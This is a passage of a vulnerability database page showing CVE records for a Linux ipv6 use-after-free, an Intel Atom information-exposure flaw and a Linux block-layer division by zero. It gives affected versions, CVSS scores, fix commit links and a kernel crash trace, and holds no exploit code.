                "version": "4.19.310",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "5.5",
                "status": "unaffected",
                "version": "5.4.272",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "5.11",
                "status": "unaffected",
                "version": "5.10.213",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "5.16",
                "status": "unaffected",
                "version": "5.15.152",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "6.2",
                "status": "unaffected",
                "version": "6.1.82",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "6.7",
                "status": "unaffected",
                "version": "6.6.22",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "6.8",
                "status": "unaffected",
                "version": "6.7.10",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "*",
                "status": "unaffected",
                "version": "6.8",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-26852",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-04-19T20:41:29.771297Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-11T21:48:49.822Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:33.817Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/route.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "31ea5bcc7d4cd1423de6be327a2c034725704136",
              "status": "affected",
              "version": "3b1137fe74829e021f483756a648cbb87c8a1b4a",
              "versionType": "git"
            },
            {
              "lessThan": "664f9c647260cc9d68b4e31d9899530d89dd045e",
              "status": "affected",
              "version": "3b1137fe74829e021f483756a648cbb87c8a1b4a",
              "versionType": "git"
            },
            {
              "lessThan": "79ce2e54cc0ae366f45516c00bf1b19aa43e9abe",
              "status": "affected",
              "version": "3b1137fe74829e021f483756a648cbb87c8a1b4a",
              "versionType": "git"
            },
            {
              "lessThan": "cae3303257950d03ffec2df4a45e836f10d26c24",
              "status": "affected",
              "version": "3b1137fe74829e021f483756a648cbb87c8a1b4a",
              "versionType": "git"
            },
            {
              "lessThan": "394334fe2ae3b9f1e2332b873857e84cb28aac18",
              "status": "affected",
              "version": "3b1137fe74829e021f483756a648cbb87c8a1b4a",
              "versionType": "git"
            },
            {
              "lessThan": "ed883060c38721ed828061f6c0c30e5147326c9a",
              "status": "affected",
              "version": "3b1137fe74829e021f483756a648cbb87c8a1b4a",
              "versionType": "git"
            },
            {
              "lessThan": "61b34f73cdbdb8eaf9ea12e9e2eb3b29716c4dda",
              "status": "affected",
              "version": "3b1137fe74829e021f483756a648cbb87c8a1b4a",
              "versionType": "git"
            },
            {
              "lessThan": "685f7d531264599b3f167f1e94bbd22f120e5fab",
              "status": "affected",
              "version": "3b1137fe74829e021f483756a648cbb87c8a1b4a",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/route.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.11"
            },
            {
              "lessThan": "4.11",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.310",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.272",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.213",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.152",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.82",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.22",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.310",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.272",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.213",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.152",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.82",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.22",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.10",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/ipv6: avoid possible UAF in ip6_route_mpath_notify()\n\nsyzbot found another use-after-free in ip6_route_mpath_notify() [1]\n\nCommit f7225172f25a (\"net/ipv6: prevent use after free in\nip6_route_mpath_notify\") was not able to fix the root cause.\n\nWe need to defer the fib6_info_release() calls after\nip6_route_mpath_notify(), in the cleanup phase.\n\n[1]\nBUG: KASAN: slab-use-after-free in rt6_fill_node+0x1460/0x1ac0\nRead of size 4 at addr ffff88809a07fc64 by task syz-executor.2/23037\n\nCPU: 0 PID: 23037 Comm: syz-executor.2 Not tainted 6.8.0-rc4-syzkaller-01035-gea7f3cfaa588 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/25/2024\nCall Trace:\n \u003cTASK\u003e\n  __dump_stack lib/dump_stack.c:88 [inline]\n  dump_stack_lvl+0x1e7/0x2e0 lib/dump_stack.c:106\n  print_address_description mm/kasan/report.c:377 [inline]\n  print_report+0x167/0x540 mm/kasan/report.c:488\n  kasan_report+0x142/0x180 mm/kasan/report.c:601\n rt6_fill_node+0x1460/0x1ac0\n  inet6_rt_notify+0x13b/0x290 net/ipv6/route.c:6184\n  ip6_route_mpath_notify net/ipv6/route.c:5198 [inline]\n  ip6_route_multipath_add net/ipv6/route.c:5404 [inline]\n  inet6_rtm_newroute+0x1d0f/0x2300 net/ipv6/route.c:5517\n  rtnetlink_rcv_msg+0x885/0x1040 net/core/rtnetlink.c:6597\n  netlink_rcv_skb+0x1e3/0x430 net/netlink/af_netlink.c:2543\n  netlink_unicast_kernel net/netlink/af_netlink.c:1341 [inline]\n  netlink_unicast+0x7ea/0x980 net/netlink/af_netlink.c:1367\n  netlink_sendmsg+0xa3b/0xd70 net/netlink/af_netlink.c:1908\n  sock_sendmsg_nosec net/socket.c:730 [inline]\n  __sock_sendmsg+0x221/0x270 net/socket.c:745\n  ____sys_sendmsg+0x525/0x7d0 net/socket.c:2584\n  ___sys_sendmsg net/socket.c:2638 [inline]\n  __sys_sendmsg+0x2b0/0x3a0 net/socket.c:2667\n do_syscall_64+0xf9/0x240\n entry_SYSCALL_64_after_hwframe+0x6f/0x77\nRIP: 0033:0x7f73dd87dda9\nCode: 28 00 00 00 75 05 48 83 c4 28 c3 e8 e1 20 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f73de6550c8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e\nRAX: ffffffffffffffda RBX: 00007f73dd9ac050 RCX: 00007f73dd87dda9\nRDX: 0000000000000000 RSI: 0000000020000140 RDI: 0000000000000005\nRBP: 00007f73dd8ca47a R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 000000000000006e R14: 00007f73dd9ac050 R15: 00007ffdbdeb7858\n \u003c/TASK\u003e\n\nAllocated by task 23037:\n  kasan_save_stack mm/kasan/common.c:47 [inline]\n  kasan_save_track+0x3f/0x80 mm/kasan/common.c:68\n  poison_kmalloc_redzone mm/kasan/common.c:372 [inline]\n  __kasan_kmalloc+0x98/0xb0 mm/kasan/common.c:389\n  kasan_kmalloc include/linux/kasan.h:211 [inline]\n  __do_kmalloc_node mm/slub.c:3981 [inline]\n  __kmalloc+0x22e/0x490 mm/slub.c:3994\n  kmalloc include/linux/slab.h:594 [inline]\n  kzalloc include/linux/slab.h:711 [inline]\n  fib6_info_alloc+0x2e/0xf0 net/ipv6/ip6_fib.c:155\n  ip6_route_info_create+0x445/0x12b0 net/ipv6/route.c:3758\n  ip6_route_multipath_add net/ipv6/route.c:5298 [inline]\n  inet6_rtm_newroute+0x744/0x2300 net/ipv6/route.c:5517\n  rtnetlink_rcv_msg+0x885/0x1040 net/core/rtnetlink.c:6597\n  netlink_rcv_skb+0x1e3/0x430 net/netlink/af_netlink.c:2543\n  netlink_unicast_kernel net/netlink/af_netlink.c:1341 [inline]\n  netlink_unicast+0x7ea/0x980 net/netlink/af_netlink.c:1367\n  netlink_sendmsg+0xa3b/0xd70 net/netlink/af_netlink.c:1908\n  sock_sendmsg_nosec net/socket.c:730 [inline]\n  __sock_sendmsg+0x221/0x270 net/socket.c:745\n  ____sys_sendmsg+0x525/0x7d0 net/socket.c:2584\n  ___sys_sendmsg net/socket.c:2638 [inline]\n  __sys_sendmsg+0x2b0/0x3a0 net/socket.c:2667\n do_syscall_64+0xf9/0x240\n entry_SYSCALL_64_after_hwframe+0x6f/0x77\n\nFreed by task 16:\n  kasan_save_stack mm/kasan/common.c:47 [inline]\n  kasan_save_track+0x3f/0x80 mm/kasan/common.c:68\n  kasan_save_free_info+0x4e/0x60 mm/kasan/generic.c:640\n  poison_slab_object+0xa6/0xe0 m\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:05:22.366Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/31ea5bcc7d4cd1423de6be327a2c034725704136"
        },
        {
          "url": "https://git.kernel.org/stable/c/664f9c647260cc9d68b4e31d9899530d89dd045e"
        },
        {
          "url": "https://git.kernel.org/stable/c/79ce2e54cc0ae366f45516c00bf1b19aa43e9abe"
        },
        {
          "url": "https://git.kernel.org/stable/c/cae3303257950d03ffec2df4a45e836f10d26c24"
        },
        {
          "url": "https://git.kernel.org/stable/c/394334fe2ae3b9f1e2332b873857e84cb28aac18"
        },
        {
          "url": "https://git.kernel.org/stable/c/ed883060c38721ed828061f6c0c30e5147326c9a"
        },
        {
          "url": "https://git.kernel.org/stable/c/61b34f73cdbdb8eaf9ea12e9e2eb3b29716c4dda"
        },
        {
          "url": "https://git.kernel.org/stable/c/685f7d531264599b3f167f1e94bbd22f120e5fab"
        }
      ],
      "title": "net/ipv6: avoid possible UAF in ip6_route_mpath_notify()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26852",
    "datePublished": "2024-04-17T10:17:15.923Z",
    "dateReserved": "2024-02-19T14:20:24.183Z",
    "dateUpdated": "2026-05-12T11:49:33.817Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-28746 (GCVE-0-2023-28746)

Vulnerability from cvelistv5 – Published: 2024-03-14 16:45 – Updated: 2026-05-12 10:52

Summary

Information exposure through microarchitectural state after transient execution from some register files for some Intel(R) Atom(R) Processors may allow an authenticated user to potentially enable information disclosure via local access.

Severity ?

6.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CWE

information disclosure
CWE-1342 - Information exposure through microarchitectural state after transient execution from some register files

Assigner

intel

References

7 references

URL	Tags
https://www.intel.com/content/www/us/en/security-…
https://lists.fedoraproject.org/archives/list/pac…
https://lists.fedoraproject.org/archives/list/pac…
https://lists.fedoraproject.org/archives/list/pac…
http://www.openwall.com/lists/oss-security/2024/0…
https://lists.debian.org/debian-lts-announce/2024…
https://lists.debian.org/debian-lts-announce/2024…

Impacted products

1 product

Vendor	Product	Version
n/a	Intel(R) Atom(R) Processors	Affected: See references

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2023-28746",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-03-14T18:58:08.088339Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:28:56.120Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-04-26T20:03:13.216Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00898.html",
            "tags": [
              "x_transferred"
            ],
            "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00898.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZON4TLXG7TG4A2XZG563JMVTGQW4SF3A/"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/H63LGAQXPEVJOES73U4XK65I6DASOAAG/"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/EIUICU6CVJUIB6BPJ7P5QTPQR5VOBHFK/"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "http://www.openwall.com/lists/oss-security/2024/03/12/13"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/05/msg00003.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "url": "http://xenbits.xen.org/xsa/advisory-452.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:52:19.004Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Intel(R) Atom(R) Processors",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "See references"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Information exposure through microarchitectural state after transient execution from some register files for some Intel(R) Atom(R) Processors may allow an authenticated user to potentially enable information disclosure via local access."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "information disclosure",
              "lang": "en"
            },
            {
              "cweId": "CWE-1342",
              "description": "Information exposure through microarchitectural state after transient execution from some register files",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-06-25T22:08:21.946Z",
        "orgId": "6dda929c-bb53-4a77-a76d-48e79601a1ce",
        "shortName": "intel"
      },
      "references": [
        {
          "name": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00898.html",
          "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00898.html"
        },
        {
          "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZON4TLXG7TG4A2XZG563JMVTGQW4SF3A/"
        },
        {
          "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/H63LGAQXPEVJOES73U4XK65I6DASOAAG/"
        },
        {
          "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/EIUICU6CVJUIB6BPJ7P5QTPQR5VOBHFK/"
        },
        {
          "url": "http://www.openwall.com/lists/oss-security/2024/03/12/13"
        },
        {
          "url": "https://lists.debian.org/debian-lts-announce/2024/05/msg00003.html"
        },
        {
          "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "6dda929c-bb53-4a77-a76d-48e79601a1ce",
    "assignerShortName": "intel",
    "cveId": "CVE-2023-28746",
    "datePublished": "2024-03-14T16:45:50.370Z",
    "dateReserved": "2023-05-05T03:00:03.623Z",
    "dateUpdated": "2026-05-12T10:52:19.004Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35925 (GCVE-0-2024-35925)

Vulnerability from cvelistv5 – Published: 2024-05-19 10:10 – Updated: 2026-05-12 11:52

Title

block: prevent division by zero in blk_rq_stat_sum()

Summary

In the Linux kernel, the following vulnerability has been resolved: block: prevent division by zero in blk_rq_stat_sum() The expression dst->nr_samples + src->nr_samples may have zero value on overflow. It is necessary to add a check to avoid division by zero. Found by Linux Verification Center (linuxtesting.org) with Svace.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/6a55dab4ac956deb2…
https://git.kernel.org/stable/c/edd073c78d2bf48c5…
https://git.kernel.org/stable/c/b0cb5564c3e8e0ee0…
https://git.kernel.org/stable/c/21e7d72d0cfcbae60…
https://git.kernel.org/stable/c/512a01da7134bac8f…
https://git.kernel.org/stable/c/5f7fd6aa4c4877d77…
https://git.kernel.org/stable/c/98ddf2604ade2d954…
https://git.kernel.org/stable/c/93f52fbeaf4b676b2…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: eca8b53a6769e60d6d8240d71202d73b0af81901 , < 6a55dab4ac956deb23690eedd74e70b892a378e7 (git) Affected: eca8b53a6769e60d6d8240d71202d73b0af81901 , < edd073c78d2bf48c5b8bf435bbc3d61d6e7c6c14 (git) Affected: eca8b53a6769e60d6d8240d71202d73b0af81901 , < b0cb5564c3e8e0ee0a2d28c86fa7f02e82d64c3c (git) Affected: eca8b53a6769e60d6d8240d71202d73b0af81901 , < 21e7d72d0cfcbae6042d498ea2e6f395311767f8 (git) Affected: eca8b53a6769e60d6d8240d71202d73b0af81901 , < 512a01da7134bac8f8b373506011e8aaa3283854 (git) Affected: eca8b53a6769e60d6d8240d71202d73b0af81901 , < 5f7fd6aa4c4877d77133ea86c14cf256f390b2fe (git) Affected: eca8b53a6769e60d6d8240d71202d73b0af81901 , < 98ddf2604ade2d954bf5ec193600d5274a43fd68 (git) Affected: eca8b53a6769e60d6d8240d71202d73b0af81901 , < 93f52fbeaf4b676b21acfe42a5152620e6770d02 (git)
Linux	Linux	Affected: 4.15 Unaffected: 0 , < 4.15 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.155 , ≤ 5.15.* (semver) Unaffected: 6.1.86 , ≤ 6.1.* (semver) Unaffected: 6.6.27 , ≤ 6.6.* (semver) Unaffected: 6.8.6 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35925",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T15:10:44.680403Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:34:55.338Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:49.052Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6a55dab4ac956deb23690eedd74e70b892a378e7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/edd073c78d2bf48c5b8bf435bbc3d61d6e7c6c14"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b0cb5564c3e8e0ee0a2d28c86fa7f02e82d64c3c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/21e7d72d0cfcbae6042d498ea2e6f395311767f8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/512a01da7134bac8f8b373506011e8aaa3283854"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5f7fd6aa4c4877d77133ea86c14cf256f390b2fe"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/98ddf2604ade2d954bf5ec193600d5274a43fd68"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/93f52fbeaf4b676b21acfe42a5152620e6770d02"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:54.531Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "block/blk-stat.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6a55dab4ac956deb23690eedd74e70b892a378e7",
              "status": "affected",
              "version": "eca8b53a6769e60d6d8240d71202d73b0af81901",
              "versionType": "git"
            },
            {
              "lessThan": "edd073c78d2bf48c5b8bf435bbc3d61d6e7c6c14",
              "status": "affected",
              "version": "eca8b53a6769e60d6d8240d71202d73b0af81901",
              "versionType": "git"
            },
            {
              "lessThan": "b0cb5564c3e8e0ee0a2d28c86fa7f02e82d64c3c",
              "status": "affected",
              "version": "eca8b53a6769e60d6d8240d71202d73b0af81901",
              "versionType": "git"
            },
            {
              "lessThan": "21e7d72d0cfcbae6042d498ea2e6f395311767f8",
              "status": "affected",
              "version": "eca8b53a6769e60d6d8240d71202d73b0af81901",
              "versionType": "git"
            },
            {
              "lessThan": "512a01da7134bac8f8b373506011e8aaa3283854",
              "status": "affected",
              "version": "eca8b53a6769e60d6d8240d71202d73b0af81901",
              "versionType": "git"
            },
            {
              "lessThan": "5f7fd6aa4c4877d77133ea86c14cf256f390b2fe",
              "status": "affected",
              "version": "eca8b53a6769e60d6d8240d71202d73b0af81901",
              "versionType": "git"
            },
            {
              "lessThan": "98ddf2604ade2d954bf5ec193600d5274a43fd68",
              "status": "affected",
              "version": "eca8b53a6769e60d6d8240d71202d73b0af81901",
              "versionType": "git"
            },
            {
              "lessThan": "93f52fbeaf4b676b21acfe42a5152620e6770d02",
              "status": "affected",
              "version": "eca8b53a6769e60d6d8240d71202d73b0af81901",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "block/blk-stat.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
